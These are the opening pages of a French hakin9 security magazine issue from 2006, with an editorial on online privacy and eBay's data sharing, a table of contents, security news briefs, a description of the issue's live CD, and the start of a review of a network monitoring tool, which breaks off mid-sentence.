hakin9 Actus Le côté obscur de la force
La déclaration qu'a récemment faite Joseph Sullivan dans CyberCrime 2003 a soulevé de nouveaux débats autour de la protection de la vie privée sur Internet. Tout le monde semble se plaindre de la déclaration suivante : eBay has probably the most generous policy of any Internet company when it comes to sharing information (eBay Secrétaire de applique certainement la politique la rédaction : plus généreuse de toutes les sociétés Tomasz Nidecki Internet lorsqu'il s'agit du partage des informations). Si quelqu'un vous envoie une brique à la place d'un lecteur de disque dur, préféreriez-vous aller en justice et attendre cinq ans avant que la mise en application de la loi ne puisse permettre de diffuser les informations détenues par eBay sur le contrevenant, qui a tout le loisir de parfaire son bronzage à Goa ? Sans mentionner le fait que lorsqu'une cour de justice agira pour des affaires de moins de 100 dollars, votre lecteur de disque sera certainement introuvable, dans les mains de quelqu'un d'autre, ou même complètement perdu. Pourtant, il fut un temps où même les personnes malveillantes n'avaient pas accès si facilement à Internet, et encore moins aux informations d'ordre privé. Afin de se sentir en sécurité, un pirate doit passer dix serveurs différents, après les avoir forcé les uns après les autres, pour finalement accéder au système de son choix. Nul doute qu'aujourd'hui, les meneurs d'Al Quaïda doivent arborer un sourire aussi narquois que celui du chat d'Alice au pays des merveilles, à la lecture des toutes dernières nouvelles sur tous les combats pour protéger les informations d'ordre privé. Il leur suffit désormais d'installer le système TOR sur leurs machines (même un utilisateur de niveau moyen peut y parvenir), puis d'utiliser Gmail (qui ne révèle pas l'adresse IP de l'expéditeur) pour leur communication, pour ne plus avoir à se soucier d'être identifiés avant de lancer une attaque à la bombe. Du moins jusqu'à ce que tous les autres serveurs de messagerie électronique ne bloquent Gmail en lui créant des difficultés légales pour ne pas révéler l'adresse IP de l'expéditeur. Rien ne justifie que quelqu'un ait le droit d'installer un programme malveillant de manière légale sur mon ordinateur pour savoir ce que j'y fais et quand. Mais je pense que lorsque les internautes décident de communiquer sur Internet, ils doivent savoir que fournir leurs données personnelles pour les identifier plus facilement (par exemple via un certificat THAWTE WoT) ne leur est pas préjudiciable, bien au contraire, compte tenu du nombre croissant de pirates malveillants. L'autre solution serait d'élaborer un ensemble de corrections stupides pour d'autres programmes correctifs, comme SPF ou encore Sender ID, ce qui nuirait gravement à la convivialité sur Internet. La vie privée a un prix. Et ce prix se paye cher. Tomasz Nidecki
[email protected] 06
Marek Bettman
Vous trouverez ici les nouvelles du monde de la sécurité des systèmes informatiques.
CD-ROM – hakin9.live
10
Jadwiga Rzepecka-Makara
On vous présente le contenu et le mode de fonctionnement de la version récente de notre principale distribution hakin9.live.
Outils GFI Network Server Monitor
12
Stefan Lochbihler
GFI Network Server Monitor est un outil permettant aux administrateurs de réseaux de scanner le réseau afin d'y détecter d'éventuels échecs ou problèmes dus aux logiciels ou au matériel.
Switch Sniffer
13
Paweł Charnes
Cet article présent SwitchSniffer – un outil simple d'emploi et gratuit servant à surveiller les réseaux locaux, doté des mécanismes de base permettant la détection et l'administration des abus.
Dossier Pirater un serveur iSeries d'IBM
14
Shalom Carmel
Les serveurs iSeries, en d'autres termes AS/400, sont utilisés dans des secteurs aussi divers que le secteur manufacturier, les banques, les sociétés d'assurances, les casinos ou les administrations.
Focus Sécurité de Linux – revue des projets
28
Michał Piotrowski
Les systèmes de la famille Linux sont assez résistants aux infractions. Cependant, dans certaines situations, quand on tient particulièrement à un niveau de sécurité élevé de l'ordinateur, les distributions standards ne sont pas suffisantes.
Pratique Création de portes dérobées sophistiquées sous Linux – reniflage de paquets Brandon Edwards
36
L'une des techniques concerne les portes dérobées chargées de détecter des paquets. Nous allons donc étudier dans le présent article le mode de fonctionnement de telles techniques en écrivant notre propre outil de démonstration de ces concepts.
4
hakin9 Nº 2/2006
www.hakin9.org
Utilisation et abus sur le protocole ICMP
44
Antonio Merola
L'ICMP est souvent considéré comme un protocole innocent et sans danger. Si un système d'exploitation ou un pare feu vient à le manipuler de manière incorrecte, des pirates peuvent l'utiliser à des fins malveillantes.
Programmation Automatiser le processus d'exploitation sur Linux x86
56
Stavros Lekkas
Le contrôle d'éventuels défauts présents dans les binaires compilés est une tâche très pénible pour les pénétromètres. Cette tâche serait définitivement facilitée avec un outil susceptible d'identifier les bogues dus au surdébit de la mémoire tampon.
Alentours L'authentification de l'émetteur, protection ou menace ?
66
Tomasz Nidecki
Le courrier indésirable, l'hameçonnage du domaine émetteur posent des menaces croissantes pour la communauté Internet dans son ensemble et l'authentification de l'émetteur est devenue depuis quelque temps un enjeu important pour la messagerie électronique.
Sony, rootkit et cinquième pouvoir
74
Michał Piotr Pręgowski
Plus de 500 milles ordinateurs infectés, un scandale mondial et plusieurs procès en justice – c'est le résultat de l'installation par l'entreprise Sony BMG.
Éditorial Un peu de noirceur dans un monde idéal
78
Konstantin Klyagin
La liberté de pirater est l'un des droits les plus fondamentaux acquis par l'humanité dans un des combats virtuels les plus importants de tous.
Les vieux démons de Microsoft
79
Tomasz Nidecki
Les idées les plus fausses répendues sur la sécurité informatique.
Dans le prochain numéro
82
Jadwiga Rzepecka-Makara
Les articles qui seront publiés dans le numéro de hakin9 à venir.
www.hakin9.org
Le périodique hakin9 est publié par Software-Wydawnictwo Sp. z o.o. Piaskowa 3, 01-067 Varsovie, Pologne Tél. +48 22 887 10 10, Fax. +48 22 887 10 11 www.hakin9.org Directeur de la publication : Jarosław Szumski Imprimerie, photogravure : 101 Studio, Firma Tęgi Ekonomiczna 30/36, 93-426 Łódź Imprimé en Pologne/Printed in Poland Abonnement 1 an (soit 6 numéros) 38 € Dépôt légal : à parution ISSN : 1731-7037 Distribution : MLP Parc d’activités de Chesnes, 55 bd de la Noirée BP 59 F - 38291 SAINT-QUENTIN-FALLAVIER CEDEX (c) 2005 Software-Wydawnictwo, tous les droits réservés Chef de produit : Magda Kotowska
[email protected] Secrétaire de rédaction : Tomasz Nidecki Préparation du CD : Witold Pietrzak Maquette : Anna Osiecka
[email protected] Couverture : Agnieszka Marchocka Traduction : Grażyna Wełna, Marie-Laure Perrotey, Paul Muraille Correction : Jérémy Fromaget, Gilles Gaffet, Pierre-Emmanuel, Leriche, Gilles Fournil, Pierre Mennechet, Jeremy Canale, Pierre Aure, Beb Sabeur Soufiene, Patrick Fernandez, Pascal Miquet, Augustin Pascual Les personnes intéressées par la coopération sont priées de nous contacter :
[email protected] Abonnement :
[email protected] Fabrication : Marta Kurpiewska
[email protected] Diffusion : Monika Godlewska
[email protected] Publicité :
[email protected] Si vous êtes intéressé par l’achat de licence de publication de revues merci de contacter : Monika Godlewska e-mail :
[email protected] tél : +48 (22) 887 12 66 fax : +48 (22) 887 10 11 La rédaction fait tout son possible pour s’assurer que les logiciels sont à jour, pourtant elle décline toute responsabilité pour leur utilisation. Elle ne fournit pas de support technique lié à l’installation ou l’utilisation des logiciels enregistrés sur le CD-ROM. Tous les logos et marques déposés sont la propriété de leurs propriétaires respectifs. La rédaction utilise le système PAO Pour créer les diagrammes on a utilisé le programme Le CD-ROM joint au magazine a été testé avec AntiVirenKit de la société G Data Software Sp. z o.o.
La revue hakin9 est publiée en 7 versions : FR
PL
CZ
IT
DE
ES
EN
AVERTISSEMENT
Les techniques présentées dans les articles ne peuvent être utilisées qu'au sein des réseaux internes. La rédaction du magazine n'est pas responsable de l'utilisation incorrecte des techniques présentées. L'utilisation des techniques présentées peut provoquer la perte des données !
hakin9 Nr 2/2006
5
Actus
Une révolution dans la protection et dans l'identification
Le plus grand organisme de recherche CSIRO a élaboré la technologie DataTraceDNA permettant de protéger et d'identifier les produits grâce aux codes chimiques. DataTraceDNA intègre les modèles uniques et ineffaçables des particules fondamentales avec la structure des matériaux et des produits. Les particules élémentaires, invisibles pour l'oeil humain, peuvent être sans problèmes lues comme code à barre à l'aide d'un lecteur portable spécial. Le code à barre chimique est très complexe et en même temps très difficile à falsifier. De plus, il est impossible de le supprimer ou de le modifier car il fait partie de la structure du matériau ou du produit. À présent, la société se concentre sur l'intégration de la nouvelle technologie au ciment, au bois, aux explosifs, aux colles, aux colorants, aux emballages et polymères, aux substances chimiques et aux emballages pharmaceutiques.
Skype dangereux
S
elon Info-Tech, l'entreprise s'occupant des analyses du secteur IT, en ce qui concerne l'usage professionnel, Skype devrait être ajouté à la liste des logiciels dont l'usage est proscrit dans le cadre du travail. Environ 17 millions d'utilisateurs de Skype enregistrés l'utilisent à des fins commerciales. 17 millions d'utilisateurs seront une porte dérobée idéale pour les pirates – dit un employé d'Info-Tech. Selon Info-Tech, les inconvénients majeurs de Skype sont : • •
• •
Les domaines .eu pas pour les Suisses
En vertu des règlements de l'UE, les habitants de Suisse ne pourront pas enregistrer leurs adresses dans le domaine européenne commune – .eu. Bien que le pays soit situé au coeur de l'Europe, le droit d'enregistrer les adresses dans le nouveau domaine européen n'est réservé qu'aux pays membres de l'Union Européenne. Beat Fehr, chef de l'une des sociétés Internet qui ont le droit de vendre les adresses dans le domaine .eu, est très inquiet de cette information. Selon lui, les entreprises suisses, telles que Nestle et Swatch, perdront leurs domaines européennes en faveur des entreprises étrangères malignes qui réussiront à enregistrer les adresses contenant les noms de ces entreprises. Il admet que tous les pays du Vieux Continent doivent avoir le droit au domaine .eu. Mais les négociations entre la Commission Suisse de Communication et la Commission Européenne n'ont pas mené aux résultats attendus. Cette situation concerne aussi d'autres pays européens n'étant pas membres de l'UE – Islande, Liechtenstein et Norvège.
6
hakin9 Nº 2/2006
•
l'utilisation du chiffrage à code source fermé, l'application est très vulnérable aux attaques de type man-inthe-middle, les mécanismes de gestion de clés sont inconnus, la communication au niveau professionnel au moyen de Skype peut rendre la vie de nos clients plus difficile parce que plusieurs institutions ont ajouté Skype à leurs listes noires, Skype ne coopère pas avec les pare-feux les plus populaires, résultat, une faille détectée dans l'application ou bien une attaque contre l'application même ne sera pas filtrée par un pare-feu type.
Le pire est que même un cracker peu avancé est capable de prendre le contrôle de notre réseau grâce aux failles et imperfections dans l'application Skype – ajoutent les employés d'Info-Tech. Dès qu'eBay, leader des enchères en ligne, a décidé d'acheter Skype – leader de la téléphonie par Internet, les spécialistes en sécurité réseau se sont indignés. L'intervention de Joseph E. Sullivan à la conférence CyberCrime2003 a mis de l'huile sur le feu. Est-ce que les coordonnées des utilisateurs de Skype sont facilement accessibles et leur confidentialité menacée ? Scott Granneman dans SecurityFocus cite l'opinion d'un employé d'eBay de la conférence CyberCrime2003 :
www.hakin9.org
Je sais d'expérience issue d'études de cas de fraude qu'eBay a probablement la politique la plus généreuse de n'importe quelle compagnie d'Internet quant au partage l'information. Nous n'avons pas besoin d'une citation excepté des circonstances très particulières. Nous avons besoin d'une citation quand nous avons besoin de l'information financière du site, de l'information de carte de crédit ou parfois de l'IP. Ainsi, cela nous ouvre vraiment des portes. Cela signifie qu'avec notre politique, si vous êtes une agence d'application de la loi vous pouvez nous envoyer par fax un papier à en-tête pour demander l'information concernant un identifiant de vendeur, et savoir ainsi qui est derrière l'identifiant d'utilisateur. Nous vous donnons leur nom, leur adresse, leur adresse e-mail et nous pouvons vous donner leur histoirique de ventes sans injonction. Nous vous dirons probablement aussi que vous pourriez vouloir obtenir une citation parce que nous recherchons l'information de carte de crédit et vous demandez cela. Nous effectuons beaucoup de travail avec des agences d'application de loi. Skype est présenté par ses auteurs comme tout à fait sûr (le chiffrage de l'appel par l'algorithme AES, et RSA pour la négociation de la clé), mais vu que son code source n'a pas été révélé, nous ne pouvons que croire que les programmeurs qui affirment que les informations envoyées par Skype sont connues seulement de nous et du destinataire. Ceux qui ne veulent pas risquer la fuite de leurs coordonnées cherchent une alternative à la téléphonie par Internet VoIP offerte par Skype – et ce n’est pas difficile. Outre Skype, seul Gizmo compte sur le marché de la téléphonie VoIP. Lui aussi utilise un chiffrage fort, mais par rapport à Skype, pour communiquer il se sert du protocole ouvert SIP (messagerie vocale) et de XMMP/Jabber (messagerie textuelle). Tout comme Skype, il fonctionne sur Windows/Linux et Macintosh.
En bref
IT UNDERGROUND 2006
L
'accès illimité au réseau global nous a mis devant les dangers qui jusqu'alors n'étaient présents que dans les visions des romanciers et metteurs en scènes de sciencefiction. La puissance de calcul des ordinateurs grandissante, une large bande passante et l'ingéniosité des cyberpirates obligent les personnes responsables de la sécurité à être vigilants. Tous les sujets seront abordés pendant la conférence en Europe IT UNDERGROUND 2006. Nous pourrons nous renseigner sur les méthodes des attaques, les manières de nous y défendre, la sécurité des réseaux sans fil et l'analyse après intrusion. Les sujets de la session : • • • • • • • • • • • • •
Attaques sur les applications Unix, Attaques sur les applications Windows, Techniques de l'infraction de la protection, Analyse du code binaire, du code source, Sécurité des services Web Services, Sécurité des bases de données, Sécurité du matériel, Scannage et analyse des réseaux, Anonymat et confidentialité dans le Net, Renforcement des systèmes Unix, Renforcement des systèmes Windows, Analyse après intrusion des systèmes Unix/Linux, Analyse après intrusion des systèmes Windows,
• • • • • • • • • • •
Sécurité des réseau sans fil (WiFi, Bluetooth), Cryptographie, Rootkits, portes dérobées dans les systèmes Unix, Rootkits, portes dérobées dans les systèmes Windows, Canaux dissimulés et stéganographie réseau, Analyse des vers, logiciels malveillants, logiciels espions, Certificats de sécurité, PKI, Ingénierie inverse, Ingénierie sociale, Aspects légaux, BYOL.
Une partie des conférences seront tenues sous forme BYOL. Ces conférences sont adressées à ceux qui prendront leurs propres ordinateurs mobiles, ce qui leur permettra de participer activement aux sessions. Les participants pourront démarrer les ordinateurs sur le Cd spécialement préparé contenant les distributions hakin9.live, et ensuite, s'introduire à un réseau test en se servant des techniques présentées par le conférencier ou se défendre contre une attaque effectuée par d'autres participants. Les conférences les plus proches : • • •
IT UNDERGROUND 2006, avril – Grande Bretagne, IT UNDERGROUND 2006, juin – Espagne, IT UNDERGROUND 2006, septembre – Italie.
Les informations détaillées concernant les conférences sont disponibles sur le site http://www.itunderground.org/.
Une faille dans iTunes
L
a société eEye annonce la découverte d'une faille de sécurité très dangereuse dans le logiciel iTunes permettant à un assaillant de prendre le contrôle de l'ordinateur de l'utilisateur. Pour l'instant, l'entreprise Apple ne commente pas cette découverte. Sur le site d'eEye on peut lire que la faille dans iTunes permet d'exécuter
à distance du code arbitraire sur la machine cible. Les détails concernant la faille n'ont pas été révélés. On sait que le problème relatif aux vulnérabilité du code concerne différentes version du logiciel – y compris la version 6 la plus récente. Le problème concerne uniquement la version pour Windows.
www.hakin9.org
Microsoft ouvre les spécifications des fichiers MS Office
Le géant de Redmond a annoncé l'ouverture du format des fichiers Office XML et s'est adressé à l'organisation internationale de standardisation ECMA afin d'en faire un standard ouvert et certifié. On a l'impression que Microsoft a compris que son attitude décidée envers l'ouverture de certains formats peut être très désavantageuse. En particulier, dans le domaine de la bureautique où il a un concurrent fort, c'est-à-dire le format OpenDocument. Microsoft a annoncé la publication des outils spéciaux permettant la conversion des données enregistrées dans l'ancien format en fichiers Office XML.
La fin du projet SETI@home L'expérimentation internationale SETI@home dont l'objectif était de décrypter les signaux spatiaux captés sur terre afin de détecter la présence d'extra-terrestres, le 15 décembre 2005 a été intégré au projet BOINC (Berkeley Open Infrastructure for Network Computing), une unité créée par le coordinateur de SETI@home – L'Université Berkeley (Californie). Les résultats de l'expérimentation, après une analyse détaillée, seront publiés dans Internet. Les représentants de BOINC ont annoncé que les utilisateurs intéressés par la recherche de la vie extra-terrestre peuvent continuer leurs recherches. De plus, ils pourront participer aux nouveaux projets BOINC liés p.ex. à la biologie moléculaire, à la physique ou aux changements climatiques.
Les fausses lettres du FBI autrichien
Le correspondant autrichien du FBI – Bureau Fédéral d'Investigation – avertit des emails dont les auteurs usurpent le nom du Bureau. En général, ces lettres sont adressées aux habitants de l'Autriche, de l'Allemagne, de la Suisse et d'autres pays européens. La lettre informe que l'utilisateur utilise les copies illégales des programmes. Le fichier joint contient une version du virus Sober. Le Bureau Fédéral d'Investigation conseille de ne pas ouvrir la pièce jointe et informe qu'il n'a rien à voir avec le courrier de ce type.
hakin9 Nº 2/2006
7
Actus
Arudius – Information Security Toolkit
Arudius Linux est un live CD contenant les tests de pénétration et l'analyse de vulnérabilités, basé sur Slackware (Minislack/Zenwalk) pour les systèmes i386. Il est distribué sous les termes de la licence GNU GPL et ne contient que les logiciels open-source. Dans le futur très proche, le CD contiendra des outils développés par les auteurs, surtout les sniffeurs réseau pour les applications IM et P2P. La différence la plus importante entre Arudius et d'autres distributions de sécurité est qu'Arudius est développé par les spécialistes employés dans le secteur de la sécurité informatique et constitue une partie de leurs travaux quotidiens, ce qui assure les mises à jour régulières. Arudius se prête très bien aux tests de pénétration externes et internes. Dans un scénario, on peut utiliser l'outil EtherApe pour obtenir l'empreinte du réseau, identifier les relations entre les hôtes et affecter les services aux fonctions. On peut aussi lancer l'outil Nessus pour effectuer le scannage du réseau et découvrir les systèmes vulnérables. Enfin, on peut lancer Raccess qui tentera de télécharger automatiquement et exécuter les exploits connus pour les vulnérabilités détectées.
BIN GigaCon
Sécurité et Fiabilité des Systèmes Informatiques – la plus grande conférence consacrée à la sécurité et à la fiabilité des systèmes informatiques en Europe Centrale, cette année aura lieu aussi en Allemagne et en France. Jusqu'à présent, six éditions en Pologne et trois en Tchequie ont eu déjà lieu. Chaque conférence attire un grand nombre de participants et plusieurs entreprises présentant leurs solutions. La décision de Software-Konferencje d'organiser les rencontres en France et en Allemagne est un évènement important pour tous ceux qui s'occupent quotidiennement de la sécurité des systèmes informatiques. Chaque édition inclut plus de 30 conférences et 3 sessions thématiques simultanées accompagnées des ateliers. Pour les utilisateurs, la participation est gratuite. Le magazine hakin9 participait à toutes les éditions polonaises et tchèques. Nous serons aussi présents en Allemagne et en France.
8
hakin9 Nº 2/2006
La sécurité d'Internet menacée
L
es chercheurs de l’Université d’Oulu, en Finlande ont découvert une vulnérabilité grave dans l'implémentation du protocole ISAKMP (Internet Security Association and Key Management Protocol) utilisé dans les produits de Cisco et Juniper Networks. La faille découverte est si grave que les résultats des recherches ont été immédiatement annoncés par le Centre National Britannique pour la Coordination de la Sécurité du Réseau et par le CERT finnois. Les pare-feux réseau de Cisco Systems et de Juniper Networks sont les plus vulnérables à cette faille. Les deux entreprises ont été déjà informés sur ce nouveau danger. Les représentants de l'entreprise Cisco ont avoué qu'un paquet spécialement préparé peut entraî-
ner un redémarrage des périphériques permettant les attaques de type DoS. L'entreprise fournit déjà une mise à jour gratuite de ses logiciels. Parmi les produits menacés sont les applications Cisco IOS, Cisco PIX Firewall, Cisco Firewall Services Module, Cisco VPN 3000 Series Concentrators et Cisco MDS Series SanOS. L'entreprise Juniper a aussi réagi aux révélations et a annoncé que les logiciels vendus après le 28 juillet possèdent déjà la protection appropriée. Parmi les produits les plus vulnérables figurent les routeurs de la série M, T, J et E, et aussi la plupart des versions des logiciels Junos et JunoSE Security.
De lourdes peines de prison pour une cyberinfraction
D
eux Nigérians ont été condamnés à une lourde peine de prison pour une grosse affaire d'escroquerie jamais organisée dans le pays et liée à l'extorsion via Internet. Emmanuel Nwude a été condamné à 25 ans de prison, et son complice Nzeribe Okoli à 12 ans pour avoir volé 242 millions de dollars à une banque brésilienne. Les deux hommes devront également verser d'importantes sommes, estimées à 121,5 millions de dollars, à l'État fédéral pour dédommager les clients de Banko Noroeste de Sao Paulo. Les actions des Nigérians avaient conduit l'établissement financier à la faillite. Le troisième des accusés, Amaka Anajemba, a consenti à payer 48,5 millions de dollars d'indemnités et a été condamné à deux ans et demi de prison. Les trois principaux inculpés ont dupé le directeur financier international de Banco Noroeste, qui a procédé à plusieurs versements importants avec la promesse d'un pourcentage sur un contrat portant
www.hakin9.org
sur la construction du nouvel aéroport international de la capitale nigériane, Abuja. Les escroqueries de ce type font extorquer dans les États Unis 1 millions de dollars par jour – et depuis des années, ce procédé s'intensifie. Pour le Nigeria, c'est la troisième branche de l'industrie. Dans plusieurs pays du monde toute ou presque toute lettre du Nigeria, de l'Afrique du Sud, du Zimbabwe, de l'Angola, du Sierra Leone ou de la Côte d'Ivoire est considérée comme prélude à l'extorsion de l'argent. Depuis 1999 au Nigeria fonctionne une agence du Secret Service américain, mais malgré les arrestations, le procédé tourne de plus en plus vite et embrasse de plus en plus de pays du monde. Malheureusement, il s'avère que le gouvernement du Nigeria ne veut pas collaborer à la lutte contre ce procédé – personne n'a été condamné par le gouvernement nigérian de l'article §419 du Code Pénal, et aucune victime n'a obtenu l'indemnité.
En bref
Pas seulement la Chine
Q
uand nous pensons aux pays qui introduisent les limitations de l'accès à Internet, l'une des premières associations sera probablement la Chine. Certainement, peu de personnes indiqueraient les États Unis, c'est-à-dire le pays où les libertés sont garanties par la Constitution. Par contre, c'est aux États Unis, et plus précisément à la Pope John XIII High School dans l'état du New Jersey, qu'on a interdit de publier les blogs (les mémoires en ligne). Le directeur de l'école, le révérend Kieran McHugh, a demandé de fermer les blogs et pages personnelles en menaçant de mesures administratives de suspension si les élèves ne se pliaient pas à cette règle. Curieusement, McHugh ne savait pas justifier sa décision ni à expliquer pourquoi les blogs sont mauvais. L'une des enseignantes a expliqué que cette décision n'est une forme de censure mais a pour but de fixer les normes sociales garantissant la politesse et le respect. Elle a aussi ajouté que l'interdiction
de bloguer protégera les enfants contre les délits sexuels, les cyberextorsions et les importuns. De plus, le directeur McHugh a constaté : D'après moi, cette interdiction n'est pas une forme de censure. Je suis sûr qu'elle apprendra à nos élèves le comportement social approprié. Si ma décision préserve au moins un enfant des tentatives des malfaiteurs, je n'ai pas l'intention de m'excuser. Les élèves eux-mêmes sont, par la plupart, convaincus que l'enseignant s'est un peu irrité après que certains d'entre eux aient commenté leur école dans les blogs. Et probablement, ils ont raison parce qu'un des élèves a été relégué de l'école après avoir publié dans son blog une opinion défavorable sur son enseignant. Vu que l'École de John XIII est une institution privée, son directeur a le droit de déterminer les interdictions souhaitées concernant l'activité de l'institution. Pourtant, personne n'a jamais imaginé qu'au XXI siècle, la Sainte Inquisition reviendrait.
De nouvelles protections des films
L
ors de la conférence du DVD Forum qui a eu lieu à Paris, on a présenté une nouvelle technologie dont la tâche consistait à protéger les films contre la copie et la distribution illégales vendus sur les HD-DVD. Le système des filigranes sonores a été présenté par Allan Bell de Warner Brothers. Tous les lecteurs HD-DVD seront dotés d'un senseur qui vérifiera les filigranes inaudibles pour l'oreille humain contenus dans la piste sonore des films. Toutes les productions filmiques qui seront jouées aux cinemas seront munies de cette protection. Quand le lecteur détectera du code caché, il considérera le support comme une copie illégale et empêchera sa lecture dans le lecteur donné. La branche cinéma veut éliminer les copies illégales des films qui n'ont pas encore eus leur première, enregistrés sur les caméras numériques.
Les disques HD-DVD à l'usage domestique seront aussi dotés d'un filigrane sonore qui différera de sa version cinéma. Pourtant, dans ce cas le système vérifiera si le disque est enregistré en fabrique ou bien s'il a été créé à la suite d'une copie illégale. Toutes les copies illégales seront détectées, aussi bien celles gravées dans les graveurs DVD et celles enregistrées à l'aide d'une caméra numérique. Si le senseur détecte une copie illégale, le lecteur sera arrêté. De plus, Microsoft a rejoint les partisans du format HD-DVD, ce qui suggère que la protection sera implémentée dans Windows. Nous espérons que le système de protection basé sur les filigranes sonores n'aura pas d'attributs supplémentaires telles que les programmes de Sony protégeant les CD audio ou la plupart des imprimantes couleur produites aux États Unis.
www.hakin9.org
Big Blue et IBM les plus rapides
La liste de 500 ordinateurs les plus rapides au monde publiée dans Internet a apporté quelques surprises. Les systèmes les plus performants sont les machines d'IBM, et le matériel basé sur les systèmes d'Intel. Les machines dotées des processeurs Itanium se caractérisent par les performances plus faibles. L'ordinateur le plus rapide est le système BlueGene/L d'IBM, travaillant à Lawrence Livermore National Laboratory. La puissance actuelle est de 280,6 Tflops/s et est deux fois plus grande que lors de l'examen précédent, quand le système n'était pas encore tout à fait prêt. Mais ce n'est pas un seul résultat dont peut se vanter Big Blue car en deuxième position sur la liste est placée aussi une machine de cette entreprise, et parmi tous les superordinateurs de la liste, 43,8% sont les produits d'IBM. Le deuxième grand fabricant des ordinateurs les plus performants au monde est l'entreprise HP. Dans la liste, les ordinateurs de ce fabricant constituent 33,8% de tous les systèmes. Quand aux autres entreprises offrant les superordinateurs aucune n'a dépassé 7%. Sur 500 ordinateurs de la liste, 333 machines utilisaient les processeurs d'Intel, par contre les Opterons étaient présents dans 55 systèmes.
Windows via Internet
Microsoft a annoncé qu'une partie d'applications de l'environnement Windows sera transférée des disques durs dans Internet. Suivant Bill Gates, le nouveau site Web, appelé Windows Live, permettra l'utilisation de plusieurs applications Windows à l'endroit et au temps voulu. Pourtant, le fondateur de Microsoft a souligné que le nouveau service et Windows Office apparenté ne remplaceront pas pleinement les programmes installés sur les disques durs. Le nouveau site Web facilitera l'accès à plusieurs applications Windows pour plus de 28 mln de clients de la PME dans le monde entier en offrant les extensions des applications Office standard et de nouveaux services qui sont d'habitude hors la portée des clients de ce secteur.
hakin9 Nº 2/2006
9
CD-ROM
hakin9.live
L
e CD joint au magazine contient hakin9.live (h9l) en version 2.9-ng – une version bootable de Linux contenant divers outils, de la documentation, des tutoriaux et les matériaux complémentaires aux articles. Pour commencer le travail avec hakin9.live, il vous suffit de démarrer l'ordinateur à partir du CD fournit. Après le démarrage du système, vous pouvez ouvrir la session en tant qu'utilisateur hakin9 sans mot de passe. Pour la première fois, il vous est possible d'installer cette version de h9l sur le disque dur. La structure des répertoires se présente comme suit : • •
• • •
•
doc – la documentation au format HTML, hit – les hits de ce numéro : Shadow Security Scanner, un des scanners de sécurité les plus connus au monde; une version complète pour les lecteurs de hakin9 (5 adresses IP) ; vous pouvez obtenir le numéro de série sur : http://www.gfi.com/pages/ hakin9offer.htm, art – matériaux complémentaires aux articles : listings, scripts, programmes indispensables, tut – tutoriaux, add – livres et autres documents au format PDF (en outre Using PGB/GnuPG and S/MIME with Email, ICMP attacks against TCP, Host Fingerprinting and Firewalking With hping, Writing Stack Based Overflows on Windows (4 pats + Exemples), rfc – documents contenant les RFC actuels.
Les anciens outils se trouvent dans les sous-répertoires _arch, par contre les nouveaux –sont dans les répertoires principaux à l'image de la structure ci-dessus. Si vous parcourez le CD, cette structure est disponible dans le sous-répertoire /mnt/cdrom. La version 2.8-ng h9l est basée sur la distribution Linux Gentoo et les scripts sur livecd-tools. Les outils non disponibles dans le référentiel Gentoo sont installés
Figure 1. Nouveaux outils indispensables
10
hakin9 Nº 2/2006
à partir des paquets du répertoire /usr/local/portage ou chargés dans le répertoire /usr/local/bin. Il y a eu un esemble de modifications par rapport à la version h9l 2.8-ng, tout d'abord le noyau a été mis à jour (actuellement en version 2.6.14. avec les patches gentoo-sources-2.6.14-r4). Les nouvelles versions des paquets ont été mis à jour. Le support de PCI et USB ont été ajouté. La version actuelle de h9l contient entre autres : • • •
ap-utils – ensemble des outils pour la configuration Access Point, mrtg – outils de serveillance reséaux, ekg2 – messagerie instantée suportant entre autre tels protocoles que Jabber.
Les plug-ins pour le logiciel Nessus ont été également actualisés. La nouvelle h9l integre un installeur (scripts Knoppix modifiés). Après l'installation sur le disque il est possible d'utiliser portage (la commande emerge) pour installer des logiciels supplémentaires. Flubox avec le gestionnaire de fichiers ROX est l'environnement graphique utilisé sur h9l.
Tutoriaux et documentation
La documentation contient, entre autres, les tutoriaux préparés par la rédaction avec les exercices pratiques pour les titres tel que : ICMP – Utilisation et abus sur le protocole ICMP (deux tutoriaux), Automatiser le processus d'exploitation sur Linux x86, Création de portes dérobées sophistiquées sous Linux – reniflage de paquets. Tours de passe-passe pour pare-feux sont conçus pour être utilisés sur hakin9.live. Grâce à cette solution, vous évitez tous les problèmes relatifs aux différentes versions de compilateurs, à la localisation de fichiers de configuration ou aux autres options nécessaires pour démarrer les programmes dans un environnement donné. l
Figure 2. À la une de ce numéro – Shadow Security Scanner
www.hakin9.org
S’il vous est impossible de lire le CD, et ce dernier n’est pas endommagé mécaniquement, essayez de le lire au moins dans 2 lecteurs.
En cas de problème avec votre CD, envoyez-nous un message à l’adresse suivante :
[email protected] GFI Network Server Monitor 7
Outils
Système : Windows Licence : commerciale avec une version d'essai de 10 ou 30 jours Application : surveillances des éventuels échecs du réseau et des serveurs Site : http://www.gfi.com/ GFI Network Server Monitor est un outil permettant aux administrateurs de réseaux de scanner le réseau afin d'y détecter d'éventuels échecs ou problèmes dus aux logiciels ou au matériel. Cet outil est capable d'alerter les administrateurs avant que les utilisateurs ne leur fassent part d'un problème.
Démarrage rapide : Supposons que vous administriez un réseau composé d'un serveur Win 2003 et d'un serveur SUSE proposant des services HTTP, SSH et FTP. Vous êtes à la recherche d'un outil susceptible d'inspecter vos services sans interruption et de vous informer immédiatement d'une éventuelle erreur. GFI Network Server Monitor est l'outil qu'il vous faut. Il faut commencer par paramétrer quelques contrôles élémentaires sur votre système SUSE. Pour ce faire, il vous faut créer un nouveau dossier qui contiendra vos règles et vos paramètres pour le système d'inspection. Sélectionnez l'option intitulée Monitoring Checks Configuration (configuration des contrôles de surveillance) dans l'explorateur de l'outil, puis d'un clic droit, créez un nouveau dossier. Avec un nouveau clic droit sur le dossier, vous pouvez modifier les propriétés de contrôle de votre système de surveillance. Commencez par entrer l'adresse IP et le nom de l'hôte que vous souhaitez inspecter, puis réglez l'option Error Threshold (seuil d'erreur) sur un. Sélectionnez ensuite certificate authentication (authentification de certificat) dans l'onglet intitulé Logon credentials (permission d'ouverture de session) afin de bénéficier d'une connexion sécurisée. Vous devrez également définir dans l'option Alert -> Settings (Alerte -> Réglages) sous la rubrique intitulée Actions la façon dont vous souhaitez être informé d'éventuels problèmes sur votre réseau. Si vous souhaitez être informé par messagerie électronique, décochez les crochets devant les options Send a SMS message to (Envoyer un message SMS à) et Send a network message to (Envoyer un message réseau à). Vous pouvez désormais ajouter certaines règles. Double cliquez sur le dossier, puis d'un clic droit paramétrez un nouveau contrôle de surveillance. Sélectionnez HTTP dans la liste des règles puis renseignez les serveurs IP et les noms des hôtes sur la page suivante. Si vous êtes intéressé par la disponibilité de votre site, sélectionnez l'option intitulée Check for availability only. Vous souhaitez par ailleurs savoir si le processus Apache fonctionne 